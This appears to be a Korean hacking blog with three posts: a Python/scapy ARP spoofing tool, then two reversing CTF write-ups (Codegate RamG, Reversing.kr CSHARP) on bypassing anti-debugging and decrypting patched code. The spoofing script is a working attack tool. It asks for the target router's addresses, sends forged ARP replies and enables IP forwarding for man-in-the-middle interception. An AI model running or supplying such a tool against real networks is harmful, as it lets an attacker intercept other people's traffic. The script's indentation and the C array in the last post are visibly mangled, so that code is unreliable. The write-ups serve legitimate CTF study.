Programming/Python2017. 3. 14. 15:28

이름 : arpSpoofing

코드 주소 : https://github.com/BadSchool/ProJect/blob/master/arp.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#-*- coding: utf-8 -*-
#
# import 부분
#
##################################
from scapy.all import *
import os
import sys
import time
##################################
 
#
# global 변수 지정
#
##################################
 
global routerIP
global routerMAC
global myIP
global myMAC
 
def nowArp():
    os.system('clear')
    print "LAN 상의 arp 상태"
    os.system('arp -a')
    print " "
    print " "
    print "현재 이더넷의 IP, MAC 주소"
    os.system('ifconfig -a')
 
def nowSet():
    global routerIP
    global routerMAC
    global myIP
    global myMAC
    os.system('clear')
    print "라우터 IP     : ",routerIP
    print "라우터 MAC    : ",routerMAC
    print "내 IP         : ",myIP
    print "내 MAC        : ",myMAC
    print " "
    print "아무키나 누르면 계속합니다..."
    raw_input()
    main()
 
def setRouter(input):
    global routerIP
    global routerMAC
    os.system('clear')
    nowArp()
    if input == '2':
        print "공격받을 라우터의 IP를 입력해주세요"
        routerIP = raw_input()
 
    elif input == '3':
        print "공격받을 라우터의 MAC을 입력해주세요"
        routerMAC = raw_input()
 
    else:
        print "비정상적인 접근입니다"
        os.system('exit')
    main()
 
def setMy(input):
    global myIP
    global myMAC
    os.system('clear')
    nowArp()
    if input == '4':
        print "당신의 IP를 입력해주세요"
        myIP = raw_input()
 
    elif input == '5':
        print "당신의 MAC을 입력해주세요"
        myMAC = raw_input()
 
    else:
        print "비정상적인 접근입니다"
                os.system('exit')
    main()
 
def trySpf():
    global routerIP
    global routerMAC
    global myIP
    global myMAC
    os.system('clear')
    tryArp = ARP()
    tryArp.hwsrc    = myMAC            #출발지 맥 주소
    tryArp.psrc    = myIP            #출발지 IP 주소
    tryArp.pdst    = routerIP        #목적지 IP 주소
    print "arp spoofing을 시작합니다"
        print "조작 대상  IP : ",routerIP
    print "조작 되는  IP : ",myIP
    print "조작 되는 MAC : ",myMAC
    print "."
    send(tryArp)
    time.sleep(1)                #오래걸리는 척
    print "."
    send(tryArp)
    time.sleep(1)
    print "."
    send(tryArp)
    time.sleep(1)
 
    print "arp spoofing완료. IP Forwarding 설정을 위해 본PC의 운영체제를 확인합니다"
    print sys.platform," 감지"
    
    if sys.platform.startswith('linux'):
        os.system('sysctl -w net.ipv4.ip_forward=1')
        print "IP Fowarding 설정 완료"
        print "아무키나 입력하면 계속합니다..."
        raw_input()
        main()
    
    elif sys.platform.startswith('win'):
        print "Windows 운영체제는 직접 설정해주세요" 
        print "아무키나 입력하면 계속합니다..."
        raw_input()
        main()
    else:
        print "운영체제가 확인되지 않습니다. 수동으로 IP Forwarding을 설정해주세요"
        print "아무키나 입력하면 계속합니다..."
                raw_input()
                main()
 
def main():
    global routerIP
    global routerMAC
    global myIP
    global myMAC
 
    os.system('clear')
        print "###############################"
        print "#"
        print "# arp 주작에 오신걸 환영합니다"
        print "#"
        print "# 1. 현재 arp, 이더넷 확인"
        print "# 2. 공격받을 라우터의 IP 지정"
        print "# 3. 공격받을 라우터의 MAC지정"
        print "# 4. 내 IP 지정"
        print "# 5. 내 MAC지정"
        print "# 6. 현재 설정된 상태 확인"
           print "# 7. arp spoofing 시작"
    print "# 0. 나가기"
    print "#"
        print "###############################"
 
        input = raw_input()
        if input == '0':
        os.system('exit')
    elif input == '1':
                nowArp()
        print "아무키나 누르면 계속합니다..."
            raw_input("")
              main()
    elif input == '2' or input == '3':
        setRouter(input)
    elif input == '4' or input == '5':
        setMy(input)
    elif input == '6':
        nowSet()
    elif input == '7':
        trySpf()
    else:
        main()
 
if __name__ == "__main__":
    main()
cs


Posted by BadSchool
Reversing/WriteUp2017. 3. 3. 02:19

문제사이트 : Codegate

문제이름 : RamG

링크 : X


풀이


↑프로그램을 실행하면 나오는 화면이다. 4를 누르면 히든메뉴가 나타나는데,

두개의 문자열을 입력받고 어떠한 과정을통해 c라는 파일 하나가 생성된다.



↑보다시피 c라는 파일은 뒤죽박죽이다. 일단 프로그램을 분석해보았다.



↑올리디버거를 켜기 전에 BinText로 쭉 훑어보았다.

그 중 상당히 수상해보이는 문자열들이 보였다. 개수도 같고 입력받는 부분 바로전에 쓰여있어

메모장에 적어두었다.



↑문제파일의 기능 중 두 문자열을 XOR해주는 기능이 있었다. 

아까 의심스러웠던 문자열을 시험삼아 해보다가 수상한 문자열 하나가 나왔다.

일단 이것도 메모장에 적어두었다.



↑본격적으로 분석하였다. 처음 문자열을 입력받은 후 진행되는 연산이다.

아까 수상하다고생각한 MVYLXYUARJ 와 474591474591을 xor하는 모습이 보였다.



↑그래서 RamG 기능으로 XOR해보았더니 yamyambugs라는 문자열이 나왔다.

이것이 첫번째 시크릿 코드이다.



↑스테이지 2로 넘어가려는 길목에 상당히 견고해보이는 안티디버깅 코드가 보였다.

레지스트리 변조나 점프문을 NOP으로 바꾸면 지나갈 수 있다.



↑두번째 스테이지에서는 cmp구문이 3개가 나온다.

덤프로 들어가서 맞게 변조해주면 지나갈 수 있다.



↑세번째 스테이지 에서는 레지스트리가 있는지와 그 내용을 점검하여 맞다면 hel을 저장한다.

hel을 저장할 수 있게 코드를 잘 수정해주면 된다.



↑4번째 스테이지는 2번째와 동일하게 진행하면 된다.



↑5번째 스테이지로 가는 길목에 안티디버깅이 있는데 전과 동일하게 넘어가면된다.

마지막은 1번째 스테이지 처럼 문자열을 비교하는데, 원리는 같고 예상한대로 의심되었던

hellowfish를 입력해주면 된다.



↑메모는 리버싱문제의 필수인듯 하다.


↑c파일이 생성되고 뒤에 확장자 .png를 붙이게 되면 플래그가 보인다.



이 문제는 유난히 운이 좋게 얻어걸린(?) 부분이 많았던 문제였다.

어렵긴 했지만 푸는과정이 재미있어서 좋은 문제라고 생각된다.



'Reversing > WriteUp' 카테고리의 다른 글

[Plaid CTF] zipper  (0) 2017.04.30
[Reversing.kr] CSHARP  (0) 2017.02.21
[Reversing.kr] Ransomware  (0) 2017.02.21
[Reversing.kr] Replace  (0) 2017.02.21
[2017codegate] BabyMISC  (0) 2017.02.17
Posted by BadSchool
Reversing/WriteUp2017. 2. 21. 23:21

문제사이트 : Reversing.kr

문제이름 : CSHARP

링크 : http://reversing.kr/challenge.php


풀이


↑프로그램을 실행해 보니 딱봐도 내가 싫어하는 C#문제가 보인다. 내용은 간단하게 비밀번호를 알아내면 되는 문제이다. 이상하게도 구글에는 풀이가 거의다 잠겨있어서 나도 전체를 다 풀이하진 않을것이다. 그래도 도움이 많이 될 듯싶다.



↑분석을 위해 NET Reflector로 열어보았다. 몇몇 수상한 코드들이 보였지만 나는 C#을 잘모르기때문에 핵심만 찾아보았다. 그중 수상한 "MetMett"라는 함수가 보였는데 이상하게도 열리지않았다.




↑그러던 중 .ctor에서 수상한 코드를 발견했다. MetMett를 암, 복호화 시키는 듯한 코드였다.

검색을 해보니 ctor은 메인함수가 실행되기 전에 가장 먼저 실행되는 부분이라고 한다.

즉 프로그램을 실행하면 암호화되어있는 MetMett부분을 이 코드로 복호화시켜준다는 말이다.




↑IDA로 분석해 본 결과 이 부분들이 암호화된 MetMett 였다.

간단하게 C언어로 복호화코드를 만들었다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
void main(){
    int arr[] = { 0x020x8D0x680x1E0x0B0x3F0xDE0xFF0xFF0xFF0x010x150x170x9B0x020x150x900x1F0x8F0xFF0xFF0xFF0x600x1E,  0x490x2D0x030x010x150x160x9B0x020x180x900x1F0x8F0xFF0xFF0xFF0x600x1E0x450x2D0x030x010x150x160x9B0x020x160x900x1F0x8F0xFF0xFF0xFF,  0x600x1E0x560x2D0x030x010x150x160x9B0x020x170x900x1F0x8F0xFF0xFF0xFF0x600x1E0x4C0x2D0x030x010x150x160x9B0x020x1E0x0A0x900x1F0x8F0xFF0xFF0xFF0x600x1E0x2B0x2D0x030x010x150x160x9B0x020x1D0x900x1F,  0x8F0xFF0xFF0xFF0x600x1F0xF00xFF0xFF0xFF0x2D0x030x010x150x160x9B0x020x190x900x1F0x8F0xFF0xFF0xFF0x600x1E0x1C0x2D0x030x010x150x16,  0x9B0x020x1A0x900x1F0x8F0xFF0xFF0xFF0x600x1E0x300x2D0x030x010x150x160x9B0x020x1E0x080x900x1F0x8F0xFF0xFF0xFF0x600x1F0xE10xFF0xFF,  0xFF0x2D0x030x010x150x160x9B0x020x1C0x900x1F0x8F0xFF0xFF0xFF0x60,  0x1F0xED0xFF0xFF0xFF0x2D0x030x010x150x160x9B0x020x1E0x090x900x1F0x8F0xFF0xFF0xFF0x600x1F0xA20xFF0xFF0xFF0x2D0x030x010x150x160x9B,  0x020x1B0x900x1F0x8F0xFF0xFF0xFF0x600x1E0x740x2D0x030x010x150x16,  0x9B0x29 ,0x00 };
    int num = 0;
    int sum = 0;
 
    for (int i = 0; arr[i] != 0x00; i++)
    {      
        arr[i] += 1;
        arr[i] &= 0xFF;
        sum += arr[i];
        sum &= 0xFF;
        num++;
    }
 
    arr[18= (sum - 38& 0xFF;
    arr[35= (sum - 3& 0xFF;
    arr[52= (sum ^ 39& 0xFF;
    arr[69= (sum - 21& 0xFF;
    arr[87= (71 - sum) & 0xFF;
    arr[124= (sum ^ 114& 0xFF
    arr[141= (sum ^ 80& 0xFF
    arr[159= (235 - sum) & 0xFF;  
    arr[179= (106 + sum) & 0xFF;   
    arr[200= (36 - sum) & 0xFF;   
    arr[220= (sum - 3& 0xFF;
 
    for (int i = 0; i < num; i++)
              printf("%02X ", arr[i]);
}
 
cs

↑그 후 헥스에디터로 복호화 된 값을 패치하고 분석툴로 다시열어보자 MetMett 부분이 보였다.

자세한 사항들은 더 적지 않겠지만, 이곳이 비밀번호를 체크하는 부분이다.


이 코드를 분석하여 비밀번호를 알아내었다.


'Reversing > WriteUp' 카테고리의 다른 글

[Plaid CTF] zipper  (0) 2017.04.30
[2017codgate] RamG  (0) 2017.03.03
[Reversing.kr] Ransomware  (0) 2017.02.21
[Reversing.kr] Replace  (0) 2017.02.21
[2017codegate] BabyMISC  (0) 2017.02.17
Posted by BadSchool